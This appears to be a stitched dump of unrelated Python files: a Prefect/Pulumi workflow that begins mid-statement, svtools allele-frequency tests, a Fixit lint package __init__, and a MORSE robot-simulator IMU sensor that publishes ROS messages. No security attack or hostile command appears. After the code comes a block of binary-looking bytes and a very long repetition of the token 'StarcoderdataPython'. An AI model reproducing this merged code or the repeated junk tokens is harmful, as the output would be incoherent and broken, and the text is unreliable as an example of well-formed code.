projects) results = loop_payload.get("results", {}) logger = prefect.context.get("logger") runner = PulumiHandler() project = remaining_projects.pop(0) results[project] = runner.preview(org, project, stack).change_summary if remaining_projects: raise LOOP(message="Completed project", result={"remaining_projects": remaining_projects, "results": results}) else: return results with Flow("melody") as flow: flow_spec = Parameter("flow_spec", default="test.yml") org = Parameter("org", default="aitomatic") stack = Parameter("stack", default="stack") flow_steps = read_yaml(flow_spec) stacks = pulumi_up(org, stack, flow_steps) final = log(stacks) if __name__=="__main__": flow.register("test01", set_schedule_active=False) #flow.visualize() from unittest import TestCase, main import os import time import svtools.afreq import sys import tempfile import difflib class IntegrationTest_afreq(TestCase): def run_integration_test(self): test_directory = os.path.dirname(os.path.abspath(__file__)) test_data_dir = os.path.join(test_directory, 'test_data', 'afreq') input = os.path.join(test_data_dir, 'input.vcf') expected_result = os.path.join(test_data_dir, 'expected.vcf') temp_descriptor, temp_output_path = tempfile.mkstemp(suffix='.vcf') with open(input, 'r') as input_handle, os.fdopen(temp_descriptor, 'w') as output_handle: updater = svtools.afreq.UpdateInfo(input_handle) updater.execute(output_handle) expected_lines = open(expected_result).readlines() # set timestamp for diff expected_lines[1] = '##fileDate=' + time.strftime('%Y%m%d') + '\n' produced_lines = open(temp_output_path).readlines() diff = difflib.unified_diff(produced_lines, expected_lines, fromfile=temp_output_path, tofile=expected_result) result = ''.join(diff) if result != '': for line in result: sys.stdout.write(line) self.assertFalse(result) os.remove(temp_output_path) class AfreqUiTest(TestCase): def test_parser(self): parser = svtools.afreq.command_parser() args1 = parser.parse_args([]) self.assertIsNone(args1.input_vcf) args2 = parser.parse_args(['somefile']) self.assertEqual(args2.input_vcf, 'somefile') class TestUpdateInfo(TestCase): def test_numeric_alleles(self): instance = svtools.afreq.UpdateInfo(None) self.assertEqual(instance.numeric_alleles('0/0'), [0, 0]) self.assertEqual(instance.numeric_alleles('0|1'), [0, 1]) if __name__ == "__main__": main() # Copyright (c) Facebook, Inc. and its affiliates. # # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. from fixit.common.base import CstContext, CstLintRule, LintConfig from fixit.common.report import CstLintRuleReport from fixit.common.testing import add_lint_rule_tests_to_module from fixit.common.utils import InvalidTestCase, ValidTestCase __all__ = [ "CstContext", "CstLintRule", "LintConfig", "ValidTestCase", "InvalidTestCase", "CstLintRuleReport", "add_lint_rule_tests_to_module", ] offroad-robotics/Robot-Simulator-Comparison import logging; logger = logging.getLogger("morse." + __name__) import math import time import morse.core.sensor from morse.core import mathutils, blenderapi from morse.helpers.components import add_data, add_property from morse.sensors.magnetometer import MagnetoDriver from morse.helpers.velocity import linear_velocities, angular_velocities from copy import copy import rospy from sensor_msgs.msg import Imu from rosgraph_msgs.msg import Clock """ Important note: The 'logger.debug' instructions take some processor work, even if they are not displayed. For this reason, it is best to comment out these lines in the 'default_action' method. """ def GetIMUMsg(rates, accel): imu = Imu() imu.header.frame_id = 'world' imu.header.stamp = rospy.Time.from_sec(0) imu.orientation.x = 0 imu.orientation.y = 0 imu.orientation.z = 0 imu.orientation.w = 0 imu.linear_acceleration.x = accel[0] imu.linear_acceleration.y = accel[1] imu.linear_acceleration.z = accel[2] imu.angular_velocity.x = rates[0] imu.angular_velocity.y = rates[1] imu.angular_velocity.z = rates[2] return imu class Rosimu(morse.core.sensor.Sensor): """ THIS SENSOR IS AN ADAPTATION OF THE ORIGINAL MORSE IMU. IT HAS THE MAGNOMETER REMOVED This sensor emulates an Inertial Measurement Unit (IMU), measuring the angular velocity and linear acceleration including acceleration due to gravity. If the robot has a physics controller, the velocities are directly read from it's properties ``localAngularVelocity`` and ``worldLinearVelocity``. Otherwise the velocities are calculated by simple differentiation. Linear acceleration is always computed by differentiation of the linear velocity. The measurements are given in the IMU coordinate system, so the location and rotation of the IMU with respect to the robot is taken into account. """ _name = "Inertial measurement unit" add_data('angular_velocity', [0.0, 0.0, 0.0], "vec3", 'rates in IMU x, y, z axes (in radian . sec ^ -1)') add_data('linear_acceleration', [0.0, 0.0, 0.0], "vec3", 'acceleration in IMU x, y, z axes (in m . sec ^ -2)') add_property('_type', 'Automatic', 'ComputationMode', 'string', "Kind of computation, can be one of ['Velocity', 'Position']. " "Only robot with dynamic and Velocity control can choose Velocity " "computation. Default choice is Velocity for robot with physics, " "and Position for others") def __init__(self, obj, parent=None): """ Constructor method. Receives the reference to the Blender object. The second parameter should be the name of the object's parent. """ logger.info('%s initialization' % obj.name) # Call the constructor of the parent class morse.core.sensor.Sensor.__init__(self, obj, parent) has_physics = bool(self.robot_parent.bge_object.getPhysicsId()) if self._type == 'Automatic': if has_physics: self._type = 'Velocity' else: self._type = 'Position' if self._type == 'Velocity' and not has_physics: logger.error("Invalid configuration : Velocity computation without " "physics") return if self._type == 'Velocity': # make new references to the robot velocities and use those. self.robot_w = self.robot_parent.bge_object.localAngularVelocity self.robot_vel = self.robot_parent.bge_object.worldLinearVelocity else: self.pp = copy(self.position_3d) # previous linear velocity self.plv = mathutils.Vector((0.0, 0.0, 0.0)) # previous angular velocity self.pav = mathutils.Vector((0.0, 0.0, 0.0)) self.gravity = - blenderapi.gravity() # imu2body will transform a vector from imu frame to body frame self.imu2body = self.sensor_to_robot_position_3d() # rotate vector from body to imu frame self.rot_b2i = self.imu2body.rotation.conjugated() logger.debug("imu2body rotation RPY [% .3f % .3f % .3f]" % tuple(math.degrees(a) for a in self.imu2body.euler)) logger.debug("imu2body translation [% .3f % .3f % .3f]" % tuple(self.imu2body.translation)) if self.imu2body.translation.length > 0.01: self.compute_offset_acceleration = True else: self.compute_offset_acceleration = False # reference for rotating a vector from imu frame to world frame self.rot_i2w = self.bge_object.worldOrientation logger.info("IMU Component initialized, runs at %.2f Hz ", self.frequency) self.imuPub = rospy.Publisher('/imu/data', Imu, queue_size=10) self.clkPub = rospy.Publisher('/clock', Clock, queue_size=10) self.start_time = time.time() def sim_imu_simple(self): """ Simulate angular velocity and linear acceleration measurements via simple differences. """ # linear and angular velocities lin_vel = linear_velocities(self.pp, self.position_3d, 1 / self.frequency) ang_vel = angular_velocities(self.pp, self.position_3d, 1 / self.frequency) # linear acceleration in imu frame dv_imu = self.rot_i2w.transposed() * (lin_vel - self.plv) * self.frequency # measurement includes gravity and acceleration accel_meas = dv_imu + self.rot_i2w.transposed() * self.gravity # save current position and attitude for next step self.pp = copy(self.position_3d) # save velocity for next step self.plv = lin_vel self.pav = ang_vel return ang_vel, accel_meas def sim_imu_with_physics(self): """ Simulate angular velocity and linear acceleration measurements using the physics of the robot. """ # rotate the angular rates from the robot frame into the imu frame rates = self.rot_b2i * self.robot_w #logger.debug("rates in robot frame (% .4f, % .4f, % .4f)", self.robot_w[0], self.robot_w[1], self.robot_w[2]) #logger.debug("rates in imu frame (% .4f, % .4f, % .4f)", rates[0], rates[1], rates[2]) # differentiate linear velocity in world (inertial) frame # and rotate to imu frame dv_imu = self.rot_i2w.transposed() * (self.robot_vel - self.plv) * self.frequency #logger.debug("velocity_dot in imu frame (% .4f, % .4f, % .4f)", dv_imu[0], dv_imu[1], dv_imu[2]) # rotate acceleration due to gravity into imu frame g_imu = self.rot_i2w.transposed() * self.gravity # measurement includes gravity and acceleration accel_meas = dv_imu + g_imu if self.compute_offset_acceleration: # acceleration due to rotation (centripetal) # is zero if imu is mounted in robot center (assumed axis of rotation) a_centripetal = self.rot_b2i * rates.cross(rates.cross(self.imu2body.translation)) #logger.debug("centripetal acceleration (% .4f, % .4f, % .4f)", a_rot[0], a_rot[1], a_rot[2]) # linear acceleration due to angular acceleration a_alpha = self.rot_b2i * (self.robot_w - self.pav).cross(self.imu2body.translation) * self.frequency # final measurement includes acceleration due to rotation center not in IMU accel_meas += a_centripetal + a_alpha # save velocity for next step self.plv = self.robot_vel.copy() self.pav = self.robot_w.copy() return rates, accel_meas def default_action(self): """ Get the speed and acceleration of the robot and transform it into the imu frame """ if self._type == 'Velocity': (rates, accel) = self.sim_imu_with_physics() else: (rates, accel) = self.sim_imu_simple() #logger.info('Accel: %s' % str(accel)) self.imuPub.publish(GetIMUMsg(rates, accel)) self.clkPub.publish(rospy.Time.from_sec(time.time()-self.start_time)) # Store the important data self.local_data['angular_velocity'] = rates self.local_data['linear_acceleration'] = accel &9L_r������� 0CVi|������':M`s������� 1DWj}������(;Nat������� 2EXk~������)<Obu�������  3FYl������*=Pcv������� ! 4 G Z m � � � � � � �   + > Q d w � � � � � � �  " 5 H [ n � � � � � � �   , ? R e x � � � � � � �  # 6 I \ o � � � � � � � -@Sfy�������$7J]p�������.ATgz�������%8K^q������� /BUh{������&9L_r������� 0CVi|������':M`s������� 1DWj}������(;Nat������� 2EXk~������)<Obu�������  3FYl������*=Pcv�������!4GZm�������+>Qdw�������"5H[n�������,?Rex������� # 6 I \ o � � � � � � � !!-!@!S!f!y!�!�!�!�!�!�!�!"$"7"J"]"p"�"�"�"�"�"�"�"##.#A#T#g#z#�#�#�#�#�#�#�#$%$8$K$^$q$�$�$�$�$�$�$�$ %%/%B%U%h%{%�%�%�%�%�%�%&&&&9&L&_&r&�&�&�&�&�&�&�& ''0'C'V'i'|'�'�'�'�'�'�'(('(:(M(`(s(�(�(�(�(�(�(�( ))1)D)W)j)})�)�)�)�)�)�)**(*;*N*a*t*�*�*�*�*StarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPythonStarcoderdataPython����